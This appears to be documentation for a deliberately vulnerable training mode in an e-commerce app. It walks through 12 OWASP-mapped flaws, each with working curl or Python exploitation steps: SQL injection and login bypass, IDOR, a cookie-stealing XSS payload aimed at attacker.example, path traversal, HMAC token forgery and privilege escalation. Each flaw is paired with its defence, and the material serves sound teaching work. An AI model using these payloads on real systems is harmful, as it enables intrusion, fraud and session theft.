Skip to content

Security Chaos

Security Chaos injects 12 flaws inspired by the OWASP Top 10 into the e-commerce journey. Each flaw is tied to a real PerfShop endpoint, exploitable from a standard HTTP client (curl, Postman, Burp). The pedagogical goal is to train students in the detection and exploitation of real-world web vulnerabilities in a controlled environment.

Service and endpoint

Class: SecurityChaosService.java Controller: SecurityChaosController.java Admin endpoint: POST /api/admin/chaos/security body {"level": 0-4} Public endpoint: GET /api/chaos/public/security/{status,logs,faults}

Levels

Level Label Active flaws Cumulative
0 Disabled none 0
1 Junior S1 – S3 3
2 Intermediate S1 – S6 6
3 Expert S1 – S9 9
4 Master S1 – S12 (admin portal) 12

Master level 4 unlocks three flaws specific to PerfShop's admin portal (S10, S11, S12) — a hidden endpoint that should only exist in a test environment but ends up exposed in production in this scenario.

OWASP Top 10 mapping

Flaw Name OWASP Exposed endpoint
S1 SQL Injection A03:2021 GET /api/products/search?q=
S2 Order IDOR A01:2021 GET /api/orders/{id}
S3 Exposed Password Hash A02:2021 GET /api/auth/me
S4 Stored XSS A03:2021 POST /api/orders (shippingAddress field)
S5 Price Tampering A04:2021 POST /api/orders (price in body)
S6 Login Timing Attack A07:2021 POST /api/auth/login
S7 Weak HMAC Token A02:2021 POST /api/auth/loginX-Debug-Token header
S8 Path Traversal A01:2021 GET /api/orders/{id}/invoice?format=
S9 Mass Assignment A08:2021 PUT /api/auth/me
S10 Unauthenticated Portal Stats A09:2021 GET /api/admin/portal/stats
S11 Portal Login SQLi A03:2021 POST /api/admin/portal/login
S12 Privilege Escalation IDOR A01:2021 PUT /api/admin/portal/accounts/{id}/promote

The OWASP codes refer to the 2021 edition of the Top 10.

Level 1 — Junior (S1 – S3)

S1 — SQL Injection

Required level: 1+ Method: recordSqlInjection(String query, String userInfo) Counter: chaos.security.s1.sqli OWASP: A03:2021 — Injection Vulnerable endpoint: GET /api/products/search?q=

The product search endpoint runs a native SQL query — instead of using a parameterized PreparedStatement, it concatenates the q parameter directly into the query. The service detects suspicious patterns through the SQL_INJECTION_PATTERN regex which matches ', --, ;, OR, AND, UNION, SELECT, DROP, INSERT, UPDATE, DELETE, EXEC, CAST, CONVERT.

Exploitation

curl "https://perfshop-api.perfshop.io/api/products/search?q=' OR '1'='1"
curl "https://perfshop-api.perfshop.io/api/products/search?q=admin'--"

Symptoms

  • Loki logs: [SecurityChaos][S1] SQL INJECTION detected — payload='...' (severity ERROR)
  • Activity log: S1_SQLI entry with the extracted pattern (single quote, SQL comment, multi-query, UNION, SELECT, OR)
  • Abnormal behavior: the search returns unexpected results or all products

Pedagogy

Demonstration of classic SQL injection — students learn to identify effective payloads and to understand why PreparedStatements with bound parameters are the only real defense.

S2 — Order IDOR

Required level: 1+ Method: recordIdorAccess(String attackerEmail, Long victimUserId, Long orderId) Counter: chaos.security.s2.idor OWASP: A01:2021 — Broken Access Control Vulnerable endpoint: GET /api/orders/{id}

The check that the order belongs to the logged-in user is disabled. Any authenticated user can reach the orders of other users by simply incrementing the identifier.

Exploitation

# Logged in as an attacker, reach other users' orders
curl https://perfshop-api.perfshop.io/api/orders/1 -H "Cookie: ..."
curl https://perfshop-api.perfshop.io/api/orders/2 -H "Cookie: ..."
curl https://perfshop-api.perfshop.io/api/orders/42 -H "Cookie: ..."

Symptoms

  • The endpoint returns HTTP 200 with the order details instead of a 403 Forbidden
  • Loki logs: [SecurityChaos][S2] IDOR detected — attacker={email} order#{id} userId={victimId}
  • Activity log: S2_IDOR severity ERROR with attacker + victim

Pedagogy

This is the most banal and the most devastating security bug in REST APIs. A simple test is to iterate on order IDs and count 200 vs 403 codes. Any 200 on an order that doesn't belong to me is an IDOR.

S3 — Exposed Password Hash

Required level: 1+ Method: recordPasswordHashExposed(String userEmail) Counter: chaos.security.s3.hash OWASP: A02:2021 — Cryptographic Failures Vulnerable endpoint: GET /api/auth/me

The DTO returned by /api/auth/me includes a password field containing the full BCrypt hash ($2a$10$...). The hash is cryptographically strong, but its mere exposure enables an offline dictionary or GPU attack against weak passwords.

Exploitation

curl https://perfshop-api.perfshop.io/api/auth/me -H "Cookie: ..." | jq .password
# → "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"

Symptoms

  • The /api/auth/me JSON contains a non-null password field
  • Loki logs: [SecurityChaos][S3] BCrypt password hash exposed — user={email}
  • Activity log: S3_HASH severity WARN

Pedagogy

Classic forgotten DTO flaw: a developer auto-generates the DTO from the JPA entity (Lombok, MapStruct) without excluding sensitive fields. The defense is the systematic use of explicit DTOs with a field whitelist.

Level 2 — Intermediate (S4 – S6)

S4 — Stored XSS

Required level: 2+ Method: processShippingAddress(String address, String userEmail) Counter: chaos.security.s4.xss OWASP: A03:2021 — Injection Vulnerable endpoint: POST /api/orders (shippingAddress field)

The shipping address is stored raw in the database without any HTML sanitization. Any XSS payload is then rendered as-is in the instructor admin interface, allowing JavaScript execution in a privileged user's browser. The service detects XSS patterns through the XSS_PATTERN regex which matches <script, <img, <svg, onerror=, onload=, onclick=, javascript:, <iframe, <object, <embed, alert(, eval(.

Exploitation

curl -X POST https://perfshop-api.perfshop.io/api/orders \
  -H "Content-Type: application/json" -H "Cookie: ..." \
  -d '{"shippingAddress": "<script>fetch(\"https://attacker.example/?c=\"+document.cookie)</script>"}'

Symptoms

  • Loki logs: [SecurityChaos][S4] STORED XSS detected — payload='...'
  • Activity log: S4_XSS severity ERROR
  • Observable effect: the payload executes JS when the instructor opens the order in chaos-admin

Pedagogy

Stored XSS is more dangerous than reflected XSS because it persists and hits every user who views the data — typically administrators. Demonstration of the importance of escaping HTML on output (frontend side) rather than on input.

S5 — Price Tampering

Required level: 2+ Method: recordPriceTampering(Long productId, BigDecimal clientPrice, BigDecimal realPrice, String userEmail) Counter: chaos.security.s5.price OWASP: A04:2021 — Insecure Design Vulnerable endpoint: POST /api/orders

The backend accepts the unit price sent by the client in the order body instead of retrieving it from the database. An attacker can thus order a €999 product for €0.01 simply by modifying the JSON payload.

Exploitation

curl -X POST https://perfshop-api.perfshop.io/api/orders \
  -H "Content-Type: application/json" -H "Cookie: ..." \
  -d '{"items":[{"productId": 42, "quantity": 1, "price": 0.01}]}'

Symptoms

  • Loki logs: [SecurityChaos][S5] PRICE TAMPERED — product#42 client=0.01 actual=999.00 — user={email}
  • Activity log: S5_PRICE ERROR with computed fraudulent savings
  • Database: the order is created at the submitted price, not at the catalog price

Pedagogy

Classic anti-pattern: blindly trusting the client body. The golden rule is that the server must always recompute amounts from canonical data (catalog, server-validated promos). The client should only send productId and quantity.

S6 — Login Timing Attack

Required level: 2+ Method: recordTimingAttack(String email, boolean userExists, long timingMs) Counter: chaos.security.s6.timing OWASP: A07:2021 — Identification and Authentication Failures Vulnerable endpoint: POST /api/auth/login

The login endpoint replies in under 5 ms when the email does not exist (short-circuit before any cryptographic computation), and in ~300 ms when the email exists (BCrypt is intentionally slow). This observable timing difference lets an attacker enumerate valid accounts without even attempting a password.

Exploitation

# Measure the response time to enumerate accounts
for email in alice@x.com bob@y.com charlie@z.com; do
  time curl -s -X POST https://perfshop-api.perfshop.io/api/auth/login \
    -d "{\"email\":\"$email\",\"password\":\"x\"}" \
    -H "Content-Type: application/json"
done
# Emails that respond in ~300ms exist
# Those that respond in <5ms do not

Symptoms

  • Loki logs: [SecurityChaos][S6] Timing attack — email={masked} exists={bool} timing={ms}ms
  • Activity log: S6_TIMING (ERROR if the account does not exist, WARN if it does)

Pedagogy

Demonstration of side-channels applied to the web. The defense is to always run a dummy BCrypt when the email does not exist, to equalize response times — the "constant-time comparison" pattern.

Level 3 — Expert (S7 – S9)

S7 — Weak-key HMAC token

Required level: 3+ Methods: generateWeakToken(Long userId) / validateWeakToken(String token, Long sessionUserId) Counter: chaos.security.s7.token OWASP: A02:2021 — Cryptographic Failures Vulnerable endpoint: POST /api/auth/loginX-Debug-Token header

The backend generates an additional X-Debug-Token token with the format base64(userId:timestamp).hmac-sha256(payload) signed with the secret123 key (constant WEAK_HMAC_KEY). Since the key is trivially guessable (or discoverable in the sources), the attacker can forge a valid token for any userId.

Exploitation

import base64, hmac, hashlib, time

WEAK_KEY = "secret123"  # guessed or found in source
target_user_id = 1      # forge a token for the admin

payload = f"{target_user_id}:{int(time.time() * 1000)}"
sig = base64.urlsafe_b64encode(
    hmac.new(WEAK_KEY.encode(), payload.encode(), hashlib.sha256).digest()
).rstrip(b"=").decode()
forged = base64.urlsafe_b64encode(payload.encode()).rstrip(b"=").decode() + "." + sig
print(f"X-Debug-Token: {forged}")

Symptoms

  • Loki logs: [SecurityChaos][S7] FORGED TOKEN — sessionUserId={real} tokenUserId={forged}
  • Activity log: S7_TOKEN ERROR with detected impersonation
  • The forged token is accepted as valid by validateWeakToken()

Pedagogy

Demonstration that the strength of the HMAC algorithm never compensates for a weak key. The defense is to use cryptographically random keys (≥ 256 bits) loaded from a secret manager, never hardcoded in source.

S8 — Path Traversal

Required level: 3+ Method: processInvoiceFormat(String format, Long orderId, String userEmail) Counter: chaos.security.s8.path OWASP: A01:2021 — Broken Access Control Vulnerable endpoint: GET /api/orders/{id}/invoice?format=

The format parameter (normally pdf or csv) is not validated. The service detects traversal patterns through the PATH_TRAVERSAL_PATTERN regex (../, %2e%2e%2f, %2e%2e/, ..\\/, %252e%252e, ..%2f) as well as the characters .., /, \. The service then simulates reading the targeted file to demonstrate the impact, without touching the real host filesystem.

Exploitation

curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../../../etc/passwd"
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../config/application.yml"
curl "https://perfshop-api.perfshop.io/api/orders/1/invoice?format=../.env"

Symptoms

  • The returned content simulates sensitive files: /etc/passwd, application.yml (with DB passwords redacted), .env (with secrets redacted)
  • Loki logs: [SecurityChaos][S8] PATH TRAVERSAL detected — format='...' orderId={id}
  • Activity log: S8_PATH ERROR

Pedagogy

Demonstration of the consequences of using a client parameter in a file path without validation. The defense is canonicalization + whitelist: resolve the absolute path and check that it belongs to the allowed directory.

S9 — Mass Assignment

Required level: 3+ Method: detectAndRecordMassAssignment(Map<String, Object> body, String userEmail) Counter: chaos.security.s9.mass OWASP: A08:2021 — Software and Data Integrity Failures Vulnerable endpoint: PUT /api/auth/me

The profile update endpoint does not use an allowed-fields whitelist. The attacker can therefore submit sensitive fields in the body — email, password, id, createdAt, lastLogin (SENSITIVE_FIELDS constant) — that will be accepted and applied to the user entity.

Exploitation

# Change another account's email (combined with id)
curl -X PUT https://perfshop-api.perfshop.io/api/auth/me \
  -H "Content-Type: application/json" -H "Cookie: ..." \
  -d '{"id": 1, "email": "attacker@evil.com", "password": "hacked"}'

Symptoms

  • Loki logs: [SecurityChaos][S9] MASS ASSIGNMENT — fields: email, password, id — user={email}
  • Activity log: one S9_MASS ERROR entry per detected sensitive field
  • Effect: sensitive fields modified without any control

Pedagogy

Frequent anti-pattern in Spring Boot when @RequestBody Entity is used directly instead of a restricted DTO. The defense is to use an update DTO with only the fields modifiable by the user (firstName, lastName, phone, etc.) and to manually map into the entity.

Level 4 — Master: hidden admin portal (S10 – S12)

Master level unlocks three flaws specific to PerfShop's hidden admin portal, reachable under /api/admin/portal/*. This portal is an admin surface that should not exist in production but ends up exposed in the pedagogical scenario. The three flaws form a realistic exploitation chain: enumeration → auth bypass → privilege escalation.

S10 — Unauthenticated Portal Stats

Required level: 4 Method: recordPortalStatsAccess(String clientIp) Counter: chaos.security.s10.portal OWASP: A09:2021 — Security Logging and Monitoring Failures Vulnerable endpoint: GET /api/admin/portal/stats

The admin portal statistics endpoint is reachable without authentication. It exposes the user count, order count, product count, and — worse — the superadmin email.

Exploitation

curl https://perfshop-api.perfshop.io/api/admin/portal/stats
# {
#   "users": 142,
#   "orders": 1287,
#   "products": 56,
#   "superAdminEmail": "admin@perfshop.io"
# }

Symptoms

  • The endpoint returns HTTP 200 to an unauthenticated call
  • Loki logs: [SecurityChaos][S10] PORTAL STATS unauthenticated access — ip={clientIp}
  • Pedagogy: classic information disclosure — the first step of any targeted attack

S11 — Portal Login SQLi

Required level: 4 Method: recordPortalSqliAttempt(String emailPayload, boolean bypassed) Counter: chaos.security.s11.sqli OWASP: A03:2021 — Injection Vulnerable endpoint: POST /api/admin/portal/login

The admin portal login form is vulnerable to SQL injection — the email/password verification query is concatenated. The classic payload admin' OR '1'='1' -- fully bypasses authentication and yields a valid adminToken.

Exploitation

curl -X POST https://perfshop-api.perfshop.io/api/admin/portal/login \
  -H "Content-Type: application/json" \
  -d "{\"email\": \"admin' OR '1'='1' --\", \"password\": \"x\"}"
# → { "adminToken": "...", "user": { ... } }

Symptoms

  • The bypass succeeds: the API returns an adminToken despite an arbitrary password
  • Loki logs: [SecurityChaos][S11] PORTAL SQLI SUCCESSFUL — payload='...' (severity ERROR)
  • Activity log: S11_SQLI ERROR with the exact payload

Pedagogy

Demonstration that internal admin surfaces deserve the same controls as public surfaces. The myth of "internal surface therefore protected" is a recurring cause of critical bypasses. Combined with S10 (superadmin email enumeration), the attack becomes targeted.

S12 — Privilege Escalation IDOR

Required level: 4 Method: recordPrivilegeEscalation(Long requesterId, Long targetId) Counter: chaos.security.s12.idor OWASP: A01:2021 — Broken Access Control Vulnerable endpoint: PUT /api/admin/portal/accounts/{id}/promote

The promotion-to-superAdmin endpoint does not check that the caller is themselves superAdmin — any standard admin can promote an arbitrary account to the superAdmin rank. This is the culmination of the S10 → S11 → S12 chain: an attacker who has bypassed the login (S11) can promote their own account to the top rank.

Exploitation

# Step 1: enumeration through S10
curl https://perfshop-api.perfshop.io/api/admin/portal/stats

# Step 2: auth bypass through S11
TOKEN=$(curl -X POST .../portal/login -d "..." | jq -r .adminToken)

# Step 3: self-promotion through S12
curl -X PUT https://perfshop-api.perfshop.io/api/admin/portal/accounts/2/promote \
  -H "Authorization: Bearer $TOKEN"

Symptoms

  • The target account gets superAdmin = true
  • Loki logs: [SecurityChaos][S12] PRIVILEGE ESCALATION — requesterId={X} -> targetId={Y}
  • Activity log: S12_IDOR ERROR

Pedagogy

Demonstration that an exploit chain is often worth more than an isolated flaw. The defense is systematic role checking on every sensitive action — the "never trust, always verify" pattern applied to internal APIs.

API — public endpoints

Endpoint Description
GET /api/chaos/public/security/status Current level + 12 counters
GET /api/chaos/public/security/logs Activity log (last 200 entries)
GET /api/chaos/public/security/faults?level=N Pedagogical catalog for level N (with OWASP + endpoint)

API — admin endpoints

# Enable Master level
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security \
  -H "X-Admin-Token: $TOKEN" -H "Content-Type: application/json" \
  -d '{"level": 4}'

# Reset (all flaws disabled + counters set to 0)
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security/reset \
  -H "X-Admin-Token: $TOKEN"

# Clear the activity log
curl -X POST https://perfshop-api.perfshop.io/api/admin/chaos/security/logs/clear \
  -H "X-Admin-Token: $TOKEN"

Student activation

POST /api/chaos/student/security body {"level": N} — requires student mode and a valid license for level > 0. Without a license, it returns HTTP 402 LICENSE_REQUIRED.

Hackathon mode

For Security Chaos, hackathon mode has a particular flavor: students have API access and must identify the active flaws (unexpected responses, extra fields, timing, etc.), exploit them to demonstrate their impact, and document every flaw using the standard OWASP format (title, vector, impact, remediation).